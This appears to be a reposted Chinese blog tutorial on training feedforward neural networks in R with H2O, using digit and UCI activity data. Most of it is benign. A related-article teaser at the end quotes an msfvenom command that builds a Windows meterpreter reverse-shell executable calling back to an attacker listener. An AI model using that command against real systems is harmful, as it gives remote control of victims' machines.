R语言深度学习-5-深度前馈神经网络

本教程参考《RDeepLearningEssential》

本篇我们将学习如何建立并训练深度预测模型。我们将关注深度前馈神经网络


5.1 深度前馈神经网络

我们还是使用之前提到的H2O包,详细可以见之前的博客:R语言深度学习-1-深度学习入门(H2O包安装报错解决及接入/H2O包连接数据集)-CSDN博客

library('h2o')
cl <- h2o.init(max_mem_size = "20G",nthreads = 10,ip = "127.0.0.1", port = 54321)

深度前馈神经网络,也被称为前馈神经网络或多层感知机(MLP),是一种典型的多层神经网络,其中数据在神经元之间单向流动,从输入层经过一个或多个隐藏层传递到输出层。这种类型的网络不包含任何循环或反馈连接,意味着信息的流向是从上到下,不会从输出层返回至输入层。

深度前馈神经网络的核心优势在于其能够通过学习输入数据和目标输出之间的复杂映射关系来执行各种任务。这得益于它的层次结构,每一层都从前一层接收信息并产生输出,这些输出作为下一层的输入。随着网络层次的加深,它能够捕捉更抽象的特征,从而提升模型的性能和泛化能力。

如图所示,来自输入X到输出Y的全部映射是一个多层函数。第一个隐藏层是:

H_{1} = f^{(1)}(X,\omega _{1},\alpha _{1})

而在每一层中有多少隐藏神经元及使用什么激活函数,我们在5.2讨论,另一个关键是成本或损失函数,常用的是交叉熵(cross-entropy)和二次的函数均方差(MSE)。

5.2 激活函数

激活函数在神经网络中扮演着至关重要的角色。它们通常被嵌入到神经网络的隐藏层中,用以引入非线性因素,使得神经网络能够学习和模拟复杂的数据模式。没有激活函数,无论神经网络有多少层,最终都只是相当于一个线性变换,无法解决非线性问题。

激活函数的种类多样,每种都有其特定的用途和特性。以下是一些常见的激活函数及其特点:

1. Sigmoid函数:Sigmoid函数可以将任意实数映射到(0,1)区间内,这使得它可以用来做二分类问题的输出层。然而,当输入值较大或较小时,Sigmoid函数的梯度接近于0,容易导致梯度消失

2. Tanh函数:Tanh函数是Sigmoid函数的变种,它将实数映射到(-1,1)区间内,相比于Sigmoid函数,Tanh函数的输出以0为中心,但它同样存在梯度消失的问题。

3. ReLU函数:ReLU(Rectified Linear Unit)函数是目前最常用的激活函数之一。它在输入大于0时直接输出该值,小于等于0时输出0。ReLU函数解决了梯度消失问题,计算简单且加速了神经网络的训练。但ReLU函数也有缺点,比如当输入为负数时,梯度始终为0,可能导致神经元“死亡”。

4. Leaky ReLU函数:Leaky ReLU是对ReLU的改进,它在输入小于等于0时,梯度不为0,而是一个很小的正数。这样可以缓解ReLU的死神经元问题。

5. Softmax函数:Softmax函数常用于多分类问题的输出层,它可以将一组数值转化为概率分布。

6. Swish函数:Swish函数是一个平滑且非单调的激活函数,由谷歌提出,在某些情况下比ReLU表现更好。

7. Mish函数:Mish函数结合了ReLU和Swish的优点,具有更好的性能表现。

5.3 选取超参数

我们在之前的模型选择参数,一般是选取如权重或者截距。不过还有一些参数能够被学到或者能被优化,我们在进行模型选择的时候,也是一种超参数。我们还是使用之前的手写字数据进行实践:

R语言深度学习-2-训练预测模型-CSDN博客

我们使用H2O的深度学习算法来训练一个分类器,并比较不同学习率对模型性能的影响。以下是两个深度学习模型的配置和它们的运行时间分析。

options(width = 70, digits = 2)
#初始化
dig_train <- read.csv("C:\\Users\\Huzhuocheng\\Desktop\\digit-recognizer\\train.csv")
dim(dig_train) #数据维度查看
dig_train$label <- factor(dig_train$label, levels = 0:9)h2odigits <- as.h2o(dig_train,destination_frame = "h2odigits")
i <- 1:32000
h2odigits.train <- h2odigits[i, ]
itest <- 32001:42000
h2odigits.test <- h2odigits[itest, ]
xnames <- colnames(h2odigits.train)[-1]#训练模型
system.time(ex1 <- h2o.deeplearning(x = xnames,y = "label",training_frame= h2odigits.train,validation_frame = h2odigits.test,activation = "RectifierWithDropout",hidden = c(100),epochs = 10,adaptive_rate = FALSE,rate = .001,input_dropout_ratio = 0,hidden_dropout_ratios = c(.2)
))
system.time(ex2 <- h2o.deeplearning(x = xnames,y = "label",training_frame= h2odigits.train,validation_frame = h2odigits.test,activation = "RectifierWithDropout",hidden = c(100),epochs = 10,adaptive_rate = FALSE,rate = .01,input_dropout_ratio = 0,hidden_dropout_ratios = c(.2)
))

 我们选择了不同的学习率,ex1中学习率是0.001,在ex2中,学习率是0.01,我们发现ex1的运行时间长很多,但是就模型效果来说,ex1更好:

 深刻理解超参数,对我们在模型进行训练中有事半功倍的效果,有的时候不是模型不行,而是选择了错误的超参数,这很重要。

5.4 深度神经网络训练及预测

我们使用之前提到的UCI数据进行演示:UCI Machine Learning Repository

#数据导入
train_x <- read.table("C:/Users/Huzhuocheng/Desktop/UCI数据/UCI HAR Dataset/UCI HAR Dataset/train/X_train.txt")
train_Y <- read.table("C:/Users/Huzhuocheng/Desktop/UCI数据/UCI HAR Dataset/UCI HAR Dataset/train/y_train.txt")
test_x <- read.table("C:/Users/Huzhuocheng/Desktop/UCI数据/UCI HAR Dataset/UCI HAR Dataset/test/X_test.txt")
test_Y <- read.table("C:/Users/Huzhuocheng/Desktop/UCI数据/UCI HAR Dataset/UCI HAR Dataset/test/y_test.txt")
barplot(table(train_Y))
train_x <- as.data.frame(train_x)
train_Y <- as.data.frame(train_Y)train_Y <- factor(train_Y)  
test_Y <- factor(test_Y)   use.train <- cbind(train_x, Outcome = train_Y)
use.test <- cbind(test_x, Outcome = test_Y)use.labels <- read.table("C:\\Users\\Huzhuocheng\\Desktop\\UCI数据\\UCI HAR Dataset\\UCI HAR Dataset\\activity_labels.txt")
h2oactivity.train <- as.h2o(use.train,destination_frame = "h2oactivitytrain")
h2oactivity.test <- as.h2o(use.test,destination_frame = "h2oactivitytest")

 接下来,我们使用H2O的deeplearning包进行深度学习,使用的激活函数是线性整流器,并且使用了我们上次讲的丢弃正则化,带有输入变量20%丢弃和隐藏神经元50%丢弃,并且我们建立的是一个50神经元和10次迭代的浅层网络,损失函数是交叉熵。

mt1 <- h2o.deeplearning(x = colnames(train_x),y = "Outcome",training_frame= h2oactivity.train,activation = "RectifierWithDropout",hidden = c(50),epochs = 10,loss = "CrossEntropy",input_dropout_ratio = .2,hidden_dropout_ratios = c(.5),export_weights_and_biases = TRUE
)

显示了层数及每个层中单元的个数,单元的类型,丢弃百分比和其他正则信息。

这个则显示了模型的性能,包括均方误,对数损失等。

混淆矩阵显示了预测与真实值的差距。

5.5 小结

我们本次使用H2O包对深度神经网络进行了学习应用,不过我们在例子中构建的都是浅层的神经网络,大家可以自己调参数实现更好的理解与应用。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/544388.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

从阿里云降价,看中国云计算创新之变

继“疯狂星期四”历史级大降价后&#xff0c;阿里云“AI驱动、公共云优先”的战略布局再落一子。 近日&#xff0c;阿里云与菜鸟、高德地图、中远海运、东航物流、圆通速递、申通快递、中通快递、德邦快递、G7易流、地上铁、浙江大学智能交通研究所等共同发起成立“物流智能联…

cool 中的Midway ----node.js的TypeORM的使用

1.介绍 TypeORM | Midway TypeORM 是 node.js 现有社区最成熟的对象关系映射器&#xff08;ORM &#xff09;。本文介绍如何在 Midway 中使用 TypeORM 相关信息&#xff1a; 描述可用于标准项目✅可用于 Serverless✅可用于一体化✅包含独立主框架❌包含独立日志❌ 和老写…

计算机网络-概述

文章目录 1.2 因特网概述1.2.1 网络、互连网&#xff08;互联网&#xff09;和因特网1.2.2 因特网发展的三个阶段1.2.4 因特网的组成 1.3 三种交换方式1.3.1 电路交换1.3.2 分组交换1.3.3 报文交换1.3.4 三种方式对比 1.4 计算机网络的定义1.5 计算机网络的性能指标1.5.1 速率1…

渗透测试框架权限维持技术——Persistence模块

测试环境&#xff1a; kali win7 测试步骤&#xff1a; 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址&#xff08;kali地址&#xff09; lport 监听端口&#xf…

uniapp——第2篇:编写vue语法

前提&#xff0c;建议先学会前端几大基础&#xff1a;HTML、CSS、JS、Ajax&#xff0c;还有一定要会Vue!&#xff08;Vue2\Vue3&#xff09;都要会&#xff01;&#xff01;&#xff01;不然不好懂 一、去哪写&#xff1f; 就在【pages】的你的人一个页面文件夹里的【.vue】文…

Vue2在一个页面内动态切换菜单显示对应的路由组件

项目的需求是在一个页面内动态获取导航菜单&#xff0c;导航菜单切换的时候显示对应的路由页面&#xff0c;类似于tab切换的形式&#xff0c;切换的导航菜单和页面左侧导航菜单是同一个路由组件&#xff0c;只是放到了一个页面上&#xff0c;显示的个数不同&#xff0c;所有是动…

lftp服务与http服务(包含scp服务)详解

目录 前言: 1.lftp服务 1.1lftp服务的介绍以及应用场景 1.2安装lftp服务 1.2进行配置 1.3实际操作 2.http服务 2.1http服务介绍以及应用场景 2.1安装httpd服务 2.2进行配置 2.3实际操作 3.scp服务 3.1scp服务的介绍以及应用场景 致谢: 前言: 在当今互联网…

Visual Studio项目模板的创建与使用

Visual Studio项目模板的创建、使用、删除 创建模板项目模板的使用模板的删除 创建模板 点击项目&#xff0c;点击导出模板 选择你要创建哪个项目的项目模板&#xff0c;点击下一步 输入你的模板名称并添加模板说明&#xff0c;方便记忆 项目模板的使用 点击创建新项目 输入刚刚…

android中单例模式为什么会引起内存泄漏?

单例模式使用不恰当会造成内存泄漏。因为单例的静态特性使得单例的生命周期和应用的生命周期一样长&#xff0c; 如果一个对象已经不需要使用了&#xff0c;但是单例对象还持有该对象的引用&#xff0c;那么这个对象就不能被正常回收&#xff0c;因此会导致内存泄漏。 举个例子…

CI/CD实战-git工具使用 1

版本控制系统 本地版本控制系统 集中化的版本控制系统 分布式版本控制系统 git官网文档&#xff1a;https://git-scm.com/book/zh/v2 Git 有三种状态&#xff1a;已提交&#xff08;committed&#xff09;、已修改&#xff08;modified&#xff09; 和 已暂存&#xff08;sta…

rust学习笔记(1-7)

原文 8万字带你入门Rust 1.包管理工具Cargo 新建项目 1&#xff09;打开 cmd 输入命令查看 cargo 版本 cargo --version2&#xff09; 使用 cargo new 项目名 在文件夹&#xff0c;按 shift 鼠标右键 &#xff0c;打开命令行&#xff0c;运行如下命令&#xff0c;即可创建…

SwiftUI动画之几何匹配

SwiftUI动画之几何匹配 记录一下 日常开发中经常使用到的滑块功能 如何同工几何匹配快速制作点击动画 import SwiftUIstruct MatchedGeometryEffestExamle: View {let categories ["Home", "Popular", "Saved"]State var selecedTitle "…